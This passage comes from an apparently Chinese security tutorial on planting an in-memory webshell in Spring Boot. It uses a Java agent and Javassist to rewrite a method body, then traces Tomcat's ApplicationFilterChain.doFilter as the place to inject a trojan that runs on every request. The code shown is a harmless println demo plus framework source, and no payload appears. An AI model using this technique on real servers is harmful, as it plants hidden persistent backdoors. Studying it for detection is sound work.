cp.insertClassPath(ccp);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            CtClass ctc = cp.get(editClassName);</span></code><code><span class="code-snippet_outer">            CtMethod method = ctc.getDeclaredMethod(editMethodName);</span></code><code><span class="code-snippet_outer">            String source = <span class="code-snippet__string">&#34;{System.out.println(\&#34;hello transformer\&#34;);}&#34;</span>;</span></code><code><span class="code-snippet_outer">            method.setBody(source);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">byte</span>[] bytes = ctc.toBytes();</span></code><code><span class="code-snippet_outer">            ctc.detach();</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> bytes;</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (Exception e){</span></code><code><span class="code-snippet_outer">            e.printStackTrace();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">null</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">这个示例比较通用，需要更改不同的方法时只需要改变常量和source变量即可。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">来看看效果：（输入1之前使用了Java agent）</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-backh="106" data-backw="315" data-ratio="0.33753148614609574" title="null" data-type="png" data-w="794" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=1c376633&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXlddqF1MKBSuEjUmG7IINppAgPvZ6dUmmTKRA0y9Lrvibia7D9qLWicFmwrjnSJAZna3vnkgd09xwG570Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">可以看到的是当第二次调用</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">com.xxx.hello.hello#hello()</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">的时候，输出的内容变成了</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">hello transformer</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">。</span></p></section></section></section></section><section data-role="paragraph" data-color="#feecaf"><p><br/></p></section><section data-tools="135编辑器" data-id="94987" data-color="#feecaf"><section style="text-align: center;margin:10px auto;"><section style="display: flex;justify-content: center;align-items: center;text-align: left;margin-left: -20px;"><section style="box-sizing:border-box;margin-right:-4em;margin-top: -12px;width:8em;"><section style="box-sizing:border-box;width:8em;"><img data-ratio="0.050955414012738856" style="box-sizing:border-box;width: 100%;display: block;" data-type="gif" data-w="157" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=7b13f097&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fe9yMd8aXlddqF1MKBSuEjUmG7IINppAgrgpwibEze0EsgMMdOpWoaBdZI80a6MhfuBlwWEDfT7ANKPX2rmd2Y5Q%2F640%3Fwx_fmt%3Dgif"/></section></section><section style="box-sizing: border-box;width: 2.5em;height: 5px;background: rgb(254, 236, 175);border-radius: 5px;margin-top: 8px;margin-left: -1.6em;color: rgb(172, 133, 2);overflow: hidden;"><br/></section><section style="display:inline-block;"><section data-brushtype="text" style="background: #feecaf;color: #ac8502;font-size: 16px;letter-spacing: 1.5px;padding: 10px 1.6em;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-ms-transform: rotate(0deg);-o-transform: rotate(0deg);"><strong><span style="font-size: 18px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">内存马</span></strong></section><section data-bgless="spin" data-bglessp="280" data-bgopacity="80%" style="box-sizing: border-box;width: 100%;background: rgba(254, 175, 220, 0.2);height: 40px;margin-top: -34px;margin-left: 6px;color: rgb(174, 0, 99);overflow: hidden;" data-width="100%"><br/></section></section><section style="box-sizing:border-box;margin-left:-4em;width:8em;margin-top: -12px;"><img data-ratio="0.0457516339869281" style="box-sizing:border-box;width: 100%;display: block;" data-type="gif" data-w="153" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=6841bcd7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fe9yMd8aXlddqF1MKBSuEjUmG7IINppAg55VpIrDfCkBIcRUe5wBwr0Czry9KBN1EWxA3ArHeMyoVXBFmPqQSQQ%2F640%3Fwx_fmt%3Dgif"/></section><section style="box-sizing: border-box;width: 2.2em;height: 5px;background: rgb(254, 236, 175);border-radius: 5px;margin-top: 8px;margin-left: -4em;color: rgb(172, 133, 2);overflow: hidden;"><br/></section></section></section></section><section data-role="paragraph" data-color="#feecaf"><p><br/></p></section><section data-tools="135编辑器" data-id="101364" data-color="#feecaf"><section style="margin: 10px auto;text-align: center;"><section style="display: flex;justify-content: center;align-items: center;"><section style="box-sizing:border-box;width: 45px;"><img data-ratio="0.8245614035087719" style="box-sizing:border-box;width: 100%;display: block;" data-type="gif" data-w="57" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=aae19b8d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fe9yMd8aXlddqF1MKBSuEjUmG7IINppAgGB0JU4O1432w99x0mpOSJPtyvaibibmEQkSMeYU8iaibgFGE0NppqYDycg%2F640%3Fwx_fmt%3Dgif"/></section></section><section style="background: #feecaf;padding: 4px;border-radius: 10px;margin-top: -20px;color: #ac8502;"><section data-autoskip="1" style="text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: #feecaf;background: #ffffff;padding: 2em 1em 1em;border-radius: 10px;"><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">既然现在已经能够修改方法体了，那就可以将木马放到<strong style="box-sizing: border-box;color: rgb(172, 133, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">某个一定会执行</strong>的方法内，这样的话，当访问任意路由的时候，就会调用木马。那么现在的问题就变成了，注入到哪一个类的哪个方法比较好。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">众所周知，Spring boot 中内嵌了一个</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">embed Tomcat</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">作为容器，而在网上流传着很多版本的 Tomcat“无文件”内存马。这些内存马大多数都是通过<strong style="box-sizing: border-box;color: rgb(172, 133, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">重写/添加</strong><strong style="box-sizing: border-box;color: rgb(172, 133, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><code style="box-sizing: border-box;padding: 3px 5px;line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">Filter</code></strong>来实现的。既然Spring boot 使用了</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">Tomcat</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">，那么能不能照葫芦画瓢，通过</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">Filter</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">，实现一个Spring boot的内存马呢？当然是可以的。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><br/></span></p><section data-tools="135编辑器" data-id="97529" data-color="#feecaf"><section style="margin:10px auto;"><section style="display: flex;justify-content: center;align-items: center;text-align: left;"><section style="box-sizing:border-box;width:40px;margin-right:-20px;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-ms-transform: rotate(0deg);-o-transform: rotate(0deg);"><section style="box-sizing:border-box;width:40px;"><section data-bgless="spin" data-bglessp="30" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(233, 254, 175);margin-left: 6px;color: rgb(128, 174, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="50" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(207, 254, 175);margin-top: 3px;margin-bottom: 3px;margin-left: 16px;color: rgb(71, 174, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="70" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(180, 254, 175);color: rgb(11, 174, 0);overflow: hidden;"><br/></section></section></section><section style="display:inline-block;margin-top:6px;"><section style="border-width: 2px;border-style: dashed;border-color: rgb(254, 236, 175);background-color: rgb(254, 254, 254);padding: 6px 2em;box-sizing: border-box;"><section data-brushtype="text" style="font-size: 16px;text-align: center;color: rgb(51, 51, 51);"><strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">Spring Boot的Filter</span></strong></section></section><section style="box-sizing: border-box;width: 80%;height: 6px;margin-right: auto;margin-left: auto;background-color: rgb(254, 236, 175);border-bottom-left-radius: 20px;border-bottom-right-radius: 20px;color: rgb(172, 133, 2);overflow: hidden;" data-width="80%"><br/></section></section><section style="box-sizing:border-box;width:40px;transform: rotate(0deg);transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-ms-transform: rotate(0deg);-o-transform: rotate(0deg);"><section style="box-sizing:border-box;width:40px;"><section data-bgless="spin" data-bglessp="30" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(233, 254, 175);margin-left: -6px;color: rgb(128, 174, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="50" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(207, 254, 175);margin-top: 3px;margin-bottom: 3px;margin-left: -16px;color: rgb(71, 174, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="70" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(180, 254, 175);color: rgb(11, 174, 0);overflow: hidden;"><br/></section></section></section></section></section></section><p style="text-align:left;"><br/></p><p style="text-align:left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">对于一个WebServer来说，每次请求势必会进过大量的调用，一层一层读源码可不是一个好办法，至少不是一个快方法。这里我选择直接下断点调试。首先写一个Spring Boot的简单程序：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer"><span class="code-snippet__meta">@Controller</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">helloController</span> </span>{</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">@RequestMapping(<span class="code-snippet__meta-string">&#34;/index&#34;</span>)</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> String sayHello() {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            System.<span class="code-snippet__keyword">out</span>.println(<span class="code-snippet__string">&#34;hello world&#34;</span>);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">            e.printStackTrace();</span></code><code><span class="code-snippet_outer">        } </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__string">&#34;index&#34;</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align:left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">直接在第17行下断点，开启debug，并在网页端访问</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><a href="http://127.0.0.1:8080/index" target="_blank">http://127.0.0.1:8080/index</a></span></code><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">，触发断点。此时的调用栈如下图所示（由于太长，只截取一部分）：</span></p><p style="text-align: center;"><img class="rich_pages" data-backh="727" data-backw="542" data-ratio="1.3408" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="625" src="https://wechat2rss.xlab.app/img-proxy/?k=d6f2a46b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXlddqF1MKBSuEjUmG7IINppAgOOlE3XOt4ACcqp5cSKmMUe4fZvdBC4lZKaokR5NEAfpsMs9dMVNhfg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">在上图中，很明显的可以看到红框中存在很多的</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">doFilter</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">和</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">internalDoFilter</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">方法，他们大多来自于</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">ApplicationFilterChain</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">这个类。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">来看看</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">ApplicationFilterChain</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">的</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">doFilter</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">方法：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__meta">@Override</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">doFilter</span><span class="code-snippet__params">(ServletRequest request, ServletResponse response)</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">    <span class="code-snippet__keyword">throws</span> IOException, ServletException </span>{</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span>( Globals.IS_SECURITY_ENABLED ) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">final</span> ServletRequest req = request;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">final</span> ServletResponse res = response;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            java.security.AccessController.doPrivileged(</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">new</span> java.security.PrivilegedExceptionAction&lt;Void&gt;() {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__meta">@Override</span></span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> Void <span class="code-snippet__title">run</span><span class="code-snippet__params">()</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">                        <span class="code-snippet__keyword">throws</span> ServletException, IOException </span>{</span></code><code><span class="code-snippet_outer">                        internalDoFilter(req,res);</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">null</span>;</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            );</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (PrivilegedActionException pe) {</span></code><code><span class="code-snippet_outer">            ......</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">        internalDoFilter(request,response);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">乍一看内容挺多，其实总结下来就是——调用</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">this.internalDoFilter()</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">。所以再来简单看一下</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">internalDoFilter()</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">方法：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index 